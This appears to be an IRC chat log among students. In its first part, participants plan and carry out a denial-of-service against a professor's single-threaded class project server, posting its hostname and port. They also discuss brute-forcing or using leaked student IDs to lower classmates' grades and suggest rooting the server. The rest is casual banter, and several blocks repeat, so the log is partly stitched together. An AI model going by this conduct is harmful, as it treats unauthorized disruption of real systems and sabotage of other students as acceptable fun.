[2015-04-28T16:01:29-0400] <z3t> But you need a valid one... :L
[2015-04-28T16:04:36-0400] <+awe> Oh, really?
[2015-04-28T16:04:42-0400] <+awe> Hold on, let me go find another students.
[2015-04-28T16:04:53-0400] <+awe> z3t: or alternatively, just brute force one?
[2015-04-28T16:05:50-0400] <+awe> z3t: Start with 2700 0000 and brute force?
[2015-04-28T16:06:55-0400] <z3t> Yeah I'll write a script to do it in a few
[2015-04-28T16:07:29-0400] <z3t> Gotta do this horrible Great Gatsby hw :(
[2015-04-28T16:09:03-0400] <+awe> z3t: If you find one, you can actually make the person lose points by submitting incorrect answers to the questions a few times. :)
[2015-04-28T16:09:04-0400] <JacobEdelman> okay, fixed lark
[2015-04-28T16:09:57-0400] <z3t> JacobEdelman: You mean you made it worse?
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[2015-04-28T16:10:44-0400] <z3t> So even that login prompt is single threaded awe?
[2015-04-28T16:10:49-0400] <+awe> Yes.
[2015-04-28T16:10:51-0400] <+awe> The entire thing.
[2015-04-28T16:10:57-0400] <+awe> If you just leave something open connected, nobody can connect.
[2015-04-28T16:11:18-0400] <+awe> z3t: Go ahead and connect and try to send an id.
[2015-04-28T16:11:18-0400] <z3t> Who's the idiot that made it...
[2015-04-28T16:11:29-0400] <+awe> z3t: It should fail to work because I'm currently connected.
[2015-04-28T16:11:49-0400] <JacobEdelman> guess what?
[2015-04-28T16:11:53-0400] <+awe> JacobEdelman: What?
[2015-04-28T16:12:00-0400] <JacobEdelman> awe: theres somesort of remote control trojan esque thing on that server
[2015-04-28T16:12:03-0400] <z3t> Yup, can't get a response from it awe.
[2015-04-28T16:12:07-0400] <z3t> That's hilarious.
[2015-04-28T16:12:13-0400] <JacobEdelman> https://www.irccloud.com/pastebin/v9kDvZgM
[2015-04-28T16:12:21-0400] <JacobEdelman> port 4000, remoteanything
[2015-04-28T16:12:27-0400] <JacobEdelman> I have no idea what it does or how to use it
[2015-04-28T16:12:33-0400] <+awe> JacobEdelman: It's not a trojan. It's probably an intentional remote access tool.
[2015-04-28T16:12:56-0400] <JacobEdelman> probabbly
[2015-04-28T16:13:05-0400] <JacobEdelman> but shouldn't it be closed?
[2015-04-28T16:13:05-0400] <z3t> inb4 LBT roots it
[2015-04-28T16:13:22-0400] <+awe> JacobEdelman: not if they want to use it...?
[2015-04-28T16:13:49-0400] <JacobEdelman> eh, shouldn't it be encrypted or whatever?
[2015-04-28T16:13:52-0400] <JacobEdelman> Idk
[2015-04-28T16:13:54-0400] <+awe> Y'all can feel free to do whatever, but I think it'll be particularly lulzy if someone just runs a script that stays connected and then autoreconnects when they restart it until the project is due.
[2015-04-28T16:13:54-0400] <JacobEdelman> I guess it is
[2015-04-28T16:14:07-0400] <JacobEdelman> you are a bad person
[2015-04-28T16:14:13-0400] <+awe> JacobEdelman: the port being open doesn't mean that it's unencrypted.
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[2015-04-28T16:14:43-0400] <+awe> JacobEdelman: push this update to Lark. I want to check it out.
[2015-04-28T16:15:05-0400] <z3t> awe: I'll do that once you finish the project
[2015-04-28T16:15:22-0400] <+awe> I did.
[2015-04-28T16:15:27-0400] <z3t> oh ok
[2015-04-28T16:15:27-0400] <+awe> Don't worry, z3t. ;)
[2015-04-28T16:15:46-0400] <z3t> I'll just put it into a screen session and forget about it
[2015-04-28T16:16:02-0400] <kenzierocks> this is glorious
[2015-04-28T16:16:09-0400] <+awe> z3t: It's gotta auto-reconnect though. Otherwise, he'll just restart it.
[2015-04-28T16:16:34-0400] <z3t> will do
[2015-04-28T16:16:57-0400] <z3t> sorta want to bruteforce first though
[2015-04-28T16:17:44-0400] <kenzierocks> while True: try: requests.get("url").text
[2015-04-28T16:17:58-0400] <kenzierocks> while True: requests.get("url")
[2015-04-28T16:18:03-0400] <JacobEdelman> awe: after I do math hw
[2015-04-28T16:18:03-0400] <kenzierocks> whoops
[2015-04-28T16:18:06-0400] <JacobEdelman> I'll push the lark update
[2015-04-28T16:18:09-0400] <JacobEdelman> so, later today
[2015-04-28T16:18:25-0400] <JacobEdelman> (I have to move the files around cause right now they are in a small test folder)
[2015-04-28T16:18:30-0400] <+awe> z3t: well, what do you hope to do if you get an ID?
[2015-04-28T16:19:34-0400] <z3t> See what's beyond that, possibly rek someone's grade.
[2015-04-28T16:20:16-0400] <+awe> Each ID is assigned a custom problem.
[2015-04-28T16:20:18-0400] <+awe> Oh, wait.
[2015-04-28T16:20:19-0400] <z3t> JacobEdelman: I don't think anyone cares about your lark update. (Unless it fixed Issue #1 on your project)
[2015-04-28T16:20:22-0400] <+awe> z3t: you don't need to brute force.
[2015-04-28T16:20:25-0400] <+awe> z3t: There's a list.
[2015-04-28T16:20:30-0400] <z3t> oh that's too easy
[2015-04-28T16:20:51-0400] <+awe> Just don't sign into mine. ;)
[2015-04-28T16:20:55-0400] <z3t> Gimme a random one
[2015-04-28T16:21:05-0400] <+awe> DANGIT.
[2015-04-28T16:21:07-0400] <+awe> He removed the list.
[2015-04-28T16:21:10-0400] <+awe> Let's check archive.com
[2015-04-28T16:21:10-0400] <z3t> oh haha
[2015-04-28T16:21:15-0400] <z3t> google cache
[2015-04-28T16:21:19-0400] <+awe> .org rather.
[2015-04-28T16:21:38-0400] <+awe> Yeah, Google Cache has it.
[2015-04-28T16:21:43-0400] <z3t> ayy
[2015-04-28T16:21:46-0400] <+awe> 27538462
[2015-04-28T16:21:48-0400] <+awe> There's one.
[2015-04-28T16:22:08-0400] <z3t> Someone's connected :(
[2015-04-28T16:22:40-0400] <z3t> Who made this...
[2015-04-28T16:22:59-0400] <+awe> A professor.
[2015-04-28T16:23:14-0400] <z3t> For what class?
[2015-04-28T16:23:48-0400] <+awe> My systems class.
[2015-04-28T16:24:08-0400] <z3t> I don't think they're qualified to teach that...
[2015-04-28T16:24:23-0400] <+awe> He invented hardware transactional memory.
[2015-04-28T16:24:39-0400] • z3t: googles
[2015-04-28T16:24:49-0400] <+awe> http://cs.brown.edu/~mph/HerlihyM93/herlihy93transactional.pdf
[2015-04-28T16:25:57-0400] <+awe> Wow, look how dated his site is: http://people.cs.umass.edu/~moss/
[2015-04-28T16:27:14-0400] <kenzierocks> stalker mode on
[2015-04-28T16:27:16-0400] <kenzierocks> http://people.cs.umass.edu/~moss/family.html
[2015-04-28T16:28:43-0400] <+awe> His daughter is my age.
[2015-04-28T16:30:16-0400] <z3t> Natalie?
[2015-04-28T16:31:22-0400] <+awe> Yeah.
[2015-04-28T16:31:34-0400] <+awe> Well, actually, she's older than I am.
[2015-04-28T16:32:06-0400] <z3t> Natalie Weiss 
[2015-04-28T16:32:08-0400] <z3t> could work
[2015-04-28T16:32:49-0400] <+awe> Did you just imply I should bork his daughter?
[2015-04-28T16:33:32-0400] <z3t> whaaaa nahhh
[2015-04-28T16:34:02-0400] <+awe> I don't even know if she's hot, yo.
[2015-04-28T16:41:26-0400] <JacobEdelman> ... don't you already have a gf?
[2015-04-28T16:42:21-0400] <+awe> JacobEdelman: https://twitter.com/horse_rust/status/571444614818693121
[2015-04-28T16:46:25-0400] <+awe> https://twitter.com/HaskellCEO/status/570391827288883200 ayyyy lmao
[2015-04-28T16:46:27-0400] <+awe> bob_twinkles: 6
[2015-04-28T16:46:41-0400] <+awe> That was supposed to be a caret, but you know, whatever.
[2015-04-28T16:49:20-0400] <+awe> https://twitter.com/HaskellCEO/status/568116982085775361
[2015-04-28T16:49:25-0400] <+awe> I'm dying. I'm figuratively dying.
[2015-04-28T16:58:11-0400] <bob_twinkles> awe: 7
[2015-04-28T16:58:24-0400] <+awe> bob_twinkles: these tweets are killing me.
[2015-04-28T16:58:48-0400] <bob_twinkles> whoever runs that twitter account is pretty funny, yeah
[2015-04-28T16:58:48-0400] <+awe> bob_twinkles: https://twitter.com/HaskellCEO/status/568643289806737408
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[2015-04-28T17:03:55-0400] <JacobEdelman> awe: pushed the lark rewrite
[2015-04-28T17:03:56-0400] <JacobEdelman> https://github.com/JacobEdelman/lark
[2015-04-28T17:04:06-0400] <JacobEdelman> the main file I just made quickly
[2015-04-28T17:04:43-0400] <JacobEdelman> and I removed lazyness since I realized I need to add in something to force evaluation at the end
[2015-04-28T17:05:48-0400] <+awe> JacobEdelman: interesting.
[2015-04-28T17:05:55-0400] <JacobEdelman> it works!
[2015-04-28T17:05:58-0400] <JacobEdelman> for once
[2015-04-28T17:06:00-0400] <JacobEdelman> look at the code
[2015-04-28T17:06:06-0400] <JacobEdelman> look at its amazing not horribleness
[2015-04-28T17:06:11-0400] <JacobEdelman> including the test lark code
[2015-04-28T17:06:13-0400] <JacobEdelman> :P
[2015-04-28T17:06:29-0400] <+awe> It's pretty gross, but it's not as horrible, yeah.
[2015-04-28T17:06:49-0400] <JacobEdelman> yeah!!!!
[2015-04-28T17:07:02-0400] <JacobEdelman> that is by far the best compliment you have ever given lark
[2015-04-28T17:07:03-0400] <JacobEdelman> :)
[2015-04-28T17:07:06-0400] <+awe> It's still pretty horribly engineered.
[2015-04-28T17:07:07-0400] <JacobEdelman> or my coding style
[2015-04-28T17:07:10-0400] <JacobEdelman> wat?
[2015-04-28T17:07:19-0400] <JacobEdelman> the actualy structure is decent, I thought
[2015-04-28T17:07:29-0400] <+awe> Nah, it'd scale poorly.
[2015-04-28T17:07:31-0400] <JacobEdelman> I mean, you can argue about the purpose and the coding style
[2015-04-28T17:07:35-0400] <JacobEdelman> really?
[2015-04-28T17:07:36-0400] <JacobEdelman> why?
[2015-04-28T17:07:48-0400] <+awe> Say you add strings, you'll have lark_strings
[2015-04-28T17:08:06-0400] <JacobEdelman> well
[2015-04-28T17:08:09-0400] <JacobEdelman> you wouldn;t
[2015-04-28T17:08:11-0400] <JacobEdelman> *wouldn't
[2015-04-28T17:08:19-0400] <JacobEdelman> you would write that in lark
[2015-04-28T17:08:36-0400] <+awe> What I'm saying is all your built-in stuff is laid out poorly.
[2015-04-28T17:08:42-0400] <JacobEdelman> hmm... possibly
[2015-04-28T17:08:48-0400] <+awe> It might be better when the language is self-hosting.
[2015-04-28T17:08:53-0400] <JacobEdelman> true
[2015-04-28T17:09:06-0400] <JacobEdelman> so, here's the idea
[2015-04-28T17:09:15-0400] <JacobEdelman> the lark_list file
[2015-04-28T17:09:20-0400] <JacobEdelman> doesn't have any list operators
[2015-04-28T17:09:31-0400] <JacobEdelman> it just defines (in a too large way) the syntax of the list
[2015-04-28T17:09:57-0400] <+awe> But I'd recommend basically having a parsing library, an interpreter, and a standard library for the language itself.
[2015-04-28T17:10:05-0400] <JacobEdelman> hmm... yeah, makes sense
[2015-04-28T17:10:24-0400] <JacobEdelman> also, parsing is no longer done after an initial "compilation" stage
[2015-04-28T17:10:27-0400] <JacobEdelman> so its much faster
[2015-04-28T17:10:33-0400] <JacobEdelman> afterwards it uses tree transformations
[2015-04-28T17:10:39-0400] <+awe> And obviously, if you do a compiler, the compiler should also be a separate thing.
[2015-04-28T17:10:49-0400] <JacobEdelman> yeah, well, making a compiler is far in the future
[2015-04-28T17:10:54-0400] <+awe> I figured.
[2015-04-28T17:11:42-0400] <JacobEdelman> once I get laziness working the next step would probably be making transformation rules first class or something
[2015-04-28T17:11:58-0400] <JacobEdelman> right now the rewriting doesn't let you make new transformation rules
[2015-04-28T17:12:04-0400] <JacobEdelman> which makes some loops and stuff hard
[2015-04-28T17:12:40-0400] <JacobEdelman> also, I should add the resugaring
[2015-04-28T17:12:50-0400] <JacobEdelman> or too string methods or something
[2015-04-28T17:13:06-0400] <JacobEdelman> cause right now [1,2]+[3,4]  is cons(1,cons(2,cons(3,cons(4,nil))))
[2015-04-28T17:13:10-0400] <JacobEdelman> which is bad
[2015-04-28T17:14:52-0400] <+awe> Well, yeah, you're going to want the ability to create interfaces and have an interface that's used for displaying things.
[2015-04-28T17:15:36-0400] <JacobEdelman> yeah
[2015-04-28T17:15:58-0400] <JacobEdelman> I should probably program that in lark mainly
[2015-04-28T17:16:06-0400] <JacobEdelman> once I add in strings it should be easy
[2015-04-28T17:16:08-0400] <JacobEdelman> yeah
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[2015-04-28T17:28:20-0400] <z3t> JacobEdelman: I'm still curious as to why you closed my issue without fixing it.
[2015-04-28T17:28:57-0400] <JacobEdelman> z3t: I felt it was on the wrong project
[2015-04-28T17:29:20-0400] <JacobEdelman> I felt like it should be moved to your github project page
[2015-04-28T17:29:26-0400] <JacobEdelman> (cause you're a chatbot, right?)
[2015-04-28T17:29:40-0400] <JacobEdelman> you know, I feel like theres a cunning insult in here
[2015-04-28T17:29:42-0400] <JacobEdelman> but I lost it
[2015-04-28T17:29:48-0400] <JacobEdelman> so pretend I said something smart
[2015-04-28T17:37:11-0400] <fwilson> I GOT DOING THINGS THE HARD WAY
[2015-04-28T17:37:29-0400] <bob_twinkles> nice
[2015-04-28T17:37:39-0400] <fwilson> i spend too much effort on this
[2015-04-28T17:37:41-0400] <bob_twinkles> you've been working on that for like weeks right?
[2015-04-28T17:37:43-0400] <fwilson> no
[2015-04-28T17:37:48-0400] <fwilson> only about 45 minutes total
[2015-04-28T17:37:54-0400] <fwilson> you're thinking no death mode, bob_twinkles 
[2015-04-28T17:38:07-0400] <bob_twinkles> heh, ok
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[2015-04-28T18:01:08-0400] <Tamini_> fwilson: yaaay
[2015-04-28T18:01:16-0400] <Tamini_> goddammit now i wanna try it
[2015-04-28T18:01:32-0400] <fwilson> Tamini_: it was super easy actually
[2015-04-28T18:01:46-0400] <Tamini_> oh really?
[2015-04-28T18:01:48-0400] <fwilson> yeah
[2015-04-28T18:01:56-0400] <Tamini_> i had lots of issues with it
[2015-04-28T18:02:00-0400] <Tamini_> i ragequit after like an hour
[2015-04-28T18:02:01-0400] <fwilson> i did too
[2015-04-28T18:02:02-0400] <Tamini_> ;-;
[2015-04-28T18:02:03-0400] <fwilson> lol
[2015-04-28T18:02:49-0400] <fwilson> ok time to get the last trinket
[2015-04-28T18:04:04-0400] <Tamini_> have fub
[2015-04-28T18:04:06-0400] <Tamini_> fun*
[2015-04-28T18:04:11-0400] <Tamini_> after all trinkets no death?
[2015-04-28T18:05:14-0400] <Tamini_> and i'm debating doing apush vs playing my physics game
[2015-04-28T18:06:08-0400] <fwilson> play VVVVVV
[2015-04-28T18:07:53-0400] <Tamini_> but im bad at the gameee
[2015-04-28T18:07:56-0400] <Tamini_> i get really lost
[2015-04-28T18:08:12-0400] <Tamini_> my first run most of my time wasn't spent on levels
[2015-04-28T18:08:26-0400] <Tamini_> it was on figuring out where the hell i was supposed to go next
[2015-04-28T18:09:25-0400] <fwilson> heh
[2015-04-28T18:09:27-0400] <fwilson> ikr
[2015-04-28T18:09:46-0400] <fwilson> i have the layout memorized-ish now
[2015-04-28T18:10:04-0400] <Tamini_> heh
[2015-04-28T18:10:17-0400] <Tamini_> i still dont know where the trinkets i missed are though ;-;
[2015-04-28T18:10:32-0400] <fwilson> you don't have the trinket map?
[2015-04-28T18:10:58-0400] <fwilson> go into the ship trinket room
[2015-04-28T18:11:56-0400] <fwilson> space station 1 complete!
[2015-04-28T19:07:14-0400] <LittleBobbyTables> kenzierocks: why the ping
[2015-04-28T19:21:27-0400] <kenzierocks> oh we had something awe asked us to attack
[2015-04-28T19:24:22-0400] <LittleBobbyTables> I like how you guys default to me...
[2015-04-28T19:24:32-0400] <LittleBobbyTables> Does it still need to be done
[2015-04-28T19:24:58-0400] <+awe> LittleBobbyTables: I mean z3t said he was doing it.
[2015-04-28T19:25:04-0400] <+awe> I don't know if he did.
[2015-04-28T19:25:16-0400] <z3t> Someone has been connected to it since then.
[2015-04-28T19:25:22-0400] <z3t> So I haven't been able to...
[2015-04-28T19:26:09-0400] <LittleBobbyTables> They can only be connected if they're online
[2015-04-28T19:26:20-0400] <+awe> z3t: lol, really?
[2015-04-28T19:26:27-0400] <+awe> z3t: maybe someone else had the same idea to DoS it?
[2015-04-28T19:26:48-0400] <z3t> I suppose.
[2015-04-28T19:28:40-0400] <LittleBobbyTables> Nah man, literally no one else does things for bad
[2015-04-28T19:29:10-0400] <+awe> LittleBobbyTables: In all fairness, I told every questionable person I knew about this server.
[2015-04-28T19:29:16-0400] <LittleBobbyTables> lol
[2015-04-28T19:29:25-0400] <LittleBobbyTables> What was it
[2015-04-28T19:29:42-0400] <+awe> It's a project server for my systems class.
[2015-04-28T19:29:59-0400] <LittleBobbyTables> the server, I men
[2015-04-28T19:30:00-0400] <LittleBobbyTables> mean
[2015-04-28T19:30:39-0400] <+awe> It's single-threaded, and doesn't do anything to handle multiple clients at once. So, one client connected means denial of service.
[2015-04-28T19:30:49-0400] <+awe> elnux1.cs.umass.edu 48579
[2015-04-28T19:32:00-0400] <kenzierocks> a lovely distraction http://bill-nye-the.science/guy/
[2015-04-28T19:32:22-0400] <+awe> kenzierocks: This is lovely, indeed.
[2015-04-28T19:33:20-0400] <LittleBobbyTables> CloudFlare makes my life hard./
[2015-04-28T19:34:25-0400] <+awe> LittleBobbyTables: I disabled it for you, baby. <3
[2015-04-28T19:34:35-0400] <LittleBobbyTables> I know <3
[2015-04-28T19:34:53-0400] <+awe> Plus, it's not like anyone is going to successfully DDoS GitHub's CDN anyway.
[2015-04-28T19:35:01-0400] <+awe> At least, they're not going to do it through my website.
[2015-04-28T19:37:41-0400] <LittleBobbyTables> I can't end my virtualbox process :/
[2015-04-28T19:38:22-0400] <+awe> VirtualBox is teh suck.
[2015-04-28T19:38:26-0400] <bob_twinkles> kill -9?
[2015-04-28T19:38:39-0400] <bob_twinkles> or nuke the kernel modules from orbit and see if it'll roll over for you =P
[2015-04-28T19:38:51-0400] <LittleBobbyTables> From Windows :P
[2015-04-28T19:39:28-0400] <+awe> bob_twinkles: I have the strangest feeling that you've done the latter before.
[2015-04-28T19:40:02-0400] <bob_twinkles> it's definitely my type of solution, but I don't think I've pulled that particular stunt before
[2015-04-28T19:40:21-0400] <LittleBobbyTables> One of my high school friends got his CS project extended because of a glorious reason
[2015-04-28T19:40:39-0400] <LittleBobbyTables> "The server is running on Gentoo and they're updating their kernel, so it'll take a few days to compile"
[2015-04-28T19:41:00-0400] <bob_twinkles> who still has procs that take days to build a kernel o_O
[2015-04-28T19:41:19-0400] <+awe> LittleBobbyTables: lol
[2015-04-28T19:41:22-0400] <+awe> bob_twinkles: I did!
[2015-04-28T19:41:25-0400] <+awe> bob_twinkles: Well, okay, not days...
[2015-04-28T19:41:29-0400] <+awe> bob_twinkles: but like fourteen hours.
[2015-04-28T19:41:45-0400] <bob_twinkles> yeah, even a late-gen pentium can do a make allconfig in < a day or so...
[2015-04-28T19:42:13-0400] <LittleBobbyTables> It's why it was a glorious reason
[2015-04-28T19:42:17-0400] <+awe> Mine was earlier than that. :p
[2015-04-28T19:43:25-0400] <bob_twinkles> awe: you also probably weren't doing an allconfig build =P
[2015-04-28T19:43:33-0400] <+awe> That's true.
[2015-04-28T19:43:44-0400] <+awe> It was some gateway computer from the 90s.
[2015-04-28T19:43:50-0400] <+awe> And I really wanted to install gentoo.
[2015-04-28T19:43:51-0400] <+awe> So, yeah.
[2015-04-28T19:44:48-0400] <bob_twinkles> was that during the "I _really_ hate myself" phase most linux users go through
[2015-04-28T19:44:51-0400] <bob_twinkles> because it sounds like it
[2015-04-28T19:45:31-0400] <+awe> Yeah.
[2015-04-28T19:45:45-0400] <+awe> It was after a year or two of using Ubuntu as my only operating system.
[2015-04-28T19:45:49-0400] <+awe> I was like "I CAN DO THIS."
[2015-04-28T19:46:42-0400] <bob_twinkles> I mean you can
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[2015-04-28T19:46:59-0400] <bob_twinkles> but like, why
[2015-04-28T19:47:30-0400] <bob_twinkles> I got a gentoo install up and running on a pretty beefy itanium, but that was mostly because no binary distros do itanium
[2015-04-28T19:47:54-0400] <+awe> There wasn't a good reason other than proving to myself that I could.
[2015-04-28T19:51:38-0400] <z3t> Ah, finally. The server is now mine awe.
[2015-04-28T19:51:52-0400] <+awe> z3t: muahahahaha.
[2015-04-28T19:52:00-0400] <z3t> at least I think
[2015-04-28T19:52:03-0400] <z3t> try to connect
[2015-04-28T19:53:06-0400] <+awe> Yup.
[2015-04-28T19:53:08-0400] <+awe> Confirmed not working.
[2015-04-28T19:54:28-0400] <z3t> mwahahahahaha 
[2015-04-28T20:00:39-0400] <LittleBobbyTables> Why not just root it
[2015-04-28T20:02:16-0400] <+awe> LittleBobbyTables: you can still try to do that.
[2015-04-28T20:03:47-0400] <z3t> These Baltimore live feeds are fun to watch.
[2015-04-28T20:04:08-0400] <jwoglom> is it still as crazy as it was yesterday?
[2015-04-28T20:04:10-0400] <LittleBobbyTables> awe: virtualbox isn't ending ;c
[2015-04-28T20:05:37-0400] <LittleBobbyTables> Hmm. It looks like it finally ended.
[2015-04-28T20:05:40-0400] <LittleBobbyTables> Time to try to open it again
[2015-04-28T20:07:23-0400] <+awe> LittleBobbyTables: if I just didn't do my systems final, I'd get an 88% in the class.
[2015-04-28T20:07:38-0400] <LittleBobbyTables> ok?
[2015-04-28T20:07:43-0400] <+awe> I just think that's funny.
[2015-04-28T20:09:35-0400] <z3t> jwoglom: not yet, looks like it might get there though
[2015-04-28T20:10:17-0400] <LittleBobbyTables> awe: That was pretty useless information, but thanks anyway
[2015-04-28T20:10:55-0400] <+awe> I thought it would change your life. I was right.
[2015-04-28T20:12:33-0400] <LittleBobbyTables> Any sentence you read changes your life.
[2015-04-28T20:13:58-0400] <+awe> Wow, that's incredibly deep, LittleBobbyTables.
[2015-04-28T20:15:02-0400] <LittleBobbyTables> I get that a lot.
[2015-04-28T20:31:55-0400] <z3t> jwoglom: My guess is that the violence will escalate around the time of the imposed curfew.
[2015-04-28T20:33:05-0400] <jwoglom> probably, yeah
[2015-04-28T20:44:01-0400] <JacobEdelman> z3t: live freed?
[2015-04-28T20:44:04-0400] <JacobEdelman> Link?
[2015-04-28T20:58:00-0400] <z3t> I'm wathing on live.cnn.com
[2015-04-28T21:00:51-0400] <LittleBobbyTables> >starts typing live
[2015-04-28T21:00:51-0400] <LittleBobbyTables> >chaturbate first result
[2015-04-28T21:00:54-0400] <LittleBobbyTables> Thanks, browser.
[2015-04-28T21:13:38-0400] <JacobEdelman> z3t: thanks
[2015-04-28T21:19:48-0400] <JacobEdelman> Question of the day, will 1064C finally lose?
[2015-04-28T21:20:03-0400] <JacobEdelman> Tjctf has some pretty dramatic last moments right now
[2015-04-28T21:20:51-0400] <Tamini> there's like 3 hours left
[2015-04-28T21:20:56-0400] <Tamini> it's not really dramatic yet
[2015-04-28T21:21:04-0400] <z3t> Protest is heating up
[2015-04-28T21:21:11-0400] <JacobEdelman> With 1064 in the second place it's always dramatic
[2015-04-28T21:21:31-0400] <JacobEdelman> (Also voice recognition for text is awesome)
[2015-04-28T21:22:26-0400] <sdamashek> gogo nezorg solve VenoM :P
[2015-04-28T21:28:33-0400] <z3t> I wonder when sCTF q2 is...
[2015-04-28T21:31:50-0400] <JacobEdelman> Baltimore  live stream YouTube (https://youtu.be/hIIYrEMvZMU)
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[2015-04-28T19:44:49-0400] <bob_twinkles> because it sounds like it
[2015-04-28T19:45:29-0400] <+awe> Yeah.
[2015-04-28T19:45:44-0400] <+awe> It was after a year or two of using Ubuntu as my only operating system.
[2015-04-28T19:45:48-0400] <+awe> I was like "I CAN DO THIS."
[2015-04-28T19:46:40-0400] <bob_twinkles> I mean you can
[2015-04-28T19:46:57-0400] <bob_twinkles> but like, why
[2015-04-28T19:47:30-0400] <bob_twinkles> I got a gentoo install up and running on a pretty beefy itanium, but that was mostly because no binary distros do itanium
[2015-04-28T19:47:54-0400] <+awe> There wasn't a good reason other than proving to myself that I could.
[2015-04-28T19:51:38-0400] <z3t> Ah, finally. The server is now mine awe.
[2015-04-28T19:51:52-0400] <+awe> z3t: muahahahaha.
[2015-04-28T19:52:00-0400] <z3t> at least I think
[2015-04-28T19:52:03-0400] <z3t> try to connect
[2015-04-28T19:53:06-0400] <+awe> Yup.
[2015-04-28T19:53:08-0400] <+awe> Confirmed not working.
[2015-04-28T19:54:28-0400] <z3t> mwahahahahaha 
[2015-04-28T20:00:39-0400] <LittleBobbyTables> Why not just root it
[2015-04-28T20:02:17-0400] <+awe> LittleBobbyTables: you can still try to do that.
[2015-04-28T20:03:47-0400] <z3t> These Baltimore live feeds are fun to watch.
[2015-04-28T20:04:08-0400] <jwoglom> is it still as crazy as it was yesterday?
[2015-04-28T20:04:10-0400] <LittleBobbyTables> awe: virtualbox isn't ending ;c
[2015-04-28T20:05:37-0400] <LittleBobbyTables> Hmm. It looks like it finally ended.
[2015-04-28T20:05:40-0400] <LittleBobbyTables> Time to try to open it again
[2015-04-28T20:07:23-0400] <+awe> LittleBobbyTables: if I just didn't do my systems final, I'd get an 88% in the class.
[2015-04-28T20:07:38-0400] <LittleBobbyTables> ok?
[2015-04-28T20:07:43-0400] <+awe> I just think that's funny.
[2015-04-28T20:09:35-0400] <z3t> jwoglom: not yet, looks like it might get there though
[2015-04-28T20:10:17-0400] <LittleBobbyTables> awe: That was pretty useless information, but thanks anyway
[2015-04-28T20:10:55-0400] <+awe> I thought it would change your life. I was right.
[2015-04-28T20:12:33-0400] <LittleBobbyTables> Any sentence you read changes your life.
[2015-04-28T20:13:58-0400] <+awe> Wow, that's incredibly deep, LittleBobbyTables.
[2015-04-28T20:15:02-0400] <LittleBobbyTables> I get that a lot.
[2015-04-28T20:31:55-0400] <z3t> jwoglom: My guess is that the violence will escalate around the time of the imposed curfew.
[2015-04-28T20:33:05-0400] <jwoglom> probably, yeah
[2015-04-28T20:44:01-0400] <JacobEdelman> z3t: live freed?
[2015-04-28T20:44:04-0400] <JacobEdelman> Link?
[2015-04-28T20:58:00-0400] <z3t> I'm wathing on live.cnn.com
[2015-04-28T21:00:51-0400] <LittleBobbyTables> >starts typing live
[2015-04-28T21:00:51-0400] <LittleBobbyTables> >chaturbate first result
[2015-04-28T21:00:54-0400] <LittleBobbyTables> Thanks, browser.
[2015-04-28T21:13:38-0400] <JacobEdelman> z3t: thanks
[2015-04-28T21:19:48-0400] <JacobEdelman> Question of the day, will 1064C finally lose?
[2015-04-28T21:20:03-0400] <JacobEdelman> Tjctf has some pretty dramatic last moments right now
[2015-04-28T21:20:51-0400] <Tamini> there's like 3 hours left
[2015-04-28T21:20:56-0400] <Tamini> it's not really dramatic yet
[2015-04-28T21:21:04-0400] <z3t> Protest is heating up
[2015-04-28T21:21:11-0400] <JacobEdelman> With 1064 in the second place it's always dramatic
[2015-04-28T21:21:31-0400] <JacobEdelman> (Also voice recognition for text is awesome)
[2015-04-28T21:22:26-0400] <sdamashek> gogo nezorg solve VenoM :P
[2015-04-28T21:28:33-0400] <z3t> I wonder when sCTF q2 is...
[2015-04-28T21:31:50-0400] <JacobEdelman> Baltimore  live stream YouTube (https://youtu.be/hIIYrEMvZMU)
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[2015-04-28T23:45:59-0400] <+awe> JacobEdelman: https://twitter.com/rmsthebot
[2015-04-29T00:08:33-0400] <apothy> sdamashek: Happy birthday :D
[2015-04-29T00:08:41-0400] <sdamashek> apothy: thanks :D
[2015-04-29T00:09:26-0400] <LittleBobbyTables> HAPPY BIRTHDAY SDASMASHK
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[2015-04-29T00:19:25-0400] <+awe> sdamashek: happy birthday, friend!
[2015-04-29T00:22:50-0400] <sdamashek> thank you LittleBobbyTables/awe :D
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[2015-04-29T06:31:47-0400] <JacobEdelman> Gmorning all and Happy birthday sdamashek 
[2015-04-29T07:11:38-0400] <sdamashek> thanks jacob
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[2015-04-28T19:53:06-0400] <+awe> Yup.
[2015-04-28T19:53:08-0400] <+awe> Confirmed not working.
[2015-04-28T19:54:28-0400] <z3t> mwahahahahaha 
[2015-04-28T20:00:39-0400] <LittleBobbyTables> Why not just root it
[2015-04-28T20:02:17-0400] <+awe> LittleBobbyTables: you can still try to do that.
[2015-04-28T20:03:47-0400] <z3t> These Baltimore live feeds are fun to watch.
[2015-04-28T20:04:08-0400] <jwoglom> is it still as crazy as it was yesterday?
[2015-04-28T20:04:10-0400] <LittleBobbyTables> awe: virtualbox isn't ending ;c
[2015-04-28T20:05:37-0400] <LittleBobbyTables> Hmm. It looks like it finally ended.
[2015-04-28T20:05:40-0400] <LittleBobbyTables> Time to try to open it again
[2015-04-28T20:07:23-0400] <+awe> LittleBobbyTables: if I just didn't do my systems final, I'd get an 88% in the class.
[2015-04-28T20:07:38-0400] <LittleBobbyTables> ok?
[2015-04-28T20:07:43-0400] <+awe> I just think that's funny.
[2015-04-28T20:09:35-0400] <z3t> jwoglom: not yet, looks like it might get there though
[2015-04-28T20:10:17-0400] <LittleBobbyTables> awe: That was pretty useless information, but thanks anyway
[2015-04-28T20:10:55-0400] <+awe> I thought it would change your life. I was right.
[2015-04-28T20:12:33-0400] <LittleBobbyTables> Any sentence you read changes your life.
[2015-04-28T20:13:58-0400] <+awe> Wow, that's incredibly deep, LittleBobbyTables.
[2015-04-28T20:15:02-0400] <LittleBobbyTables> I get that a lot.
[2015-04-28T20:31:55-0400] <z3t> jwoglom: My guess is that the violence will escalate around the time of the imposed curfew.
[2015-04-28T20:33:05-0400] <jwoglom> probably, yeah
[2015-04-28T20:44:01-0400] <JacobEdelman> z3t: live freed?
[2015-04-28T20:44:04-0400] <JacobEdelman> Link?
[2015-04-28T20:58:00-0400] <z3t> I'm wathing on live.cnn.com
[2015-04-28T21:00:51-0400] <LittleBobbyTables> >starts typing live
[2015-04-28T21:00:51-0400] <LittleBobbyTables> >chaturbate first result
[2015-04-28T21:00:54-0400] <LittleBobbyTables> Thanks, browser.
[2015-04-28T21:13:38-0400] <JacobEdelman> z3t: thanks
[2015-04-28T21:19:48-0400] <JacobEdelman> Question of the day, will 1064C finally lose?
[2015-04-28T21:20:03-0400] <JacobEdelman> Tjctf has some pretty dramatic last moments right now
[2015-04-28T21:20:51-0400] <Tamini> there's like 3 hours left
[2015-04-28T21:20:56-0400] <Tamini> it's not really dramatic yet
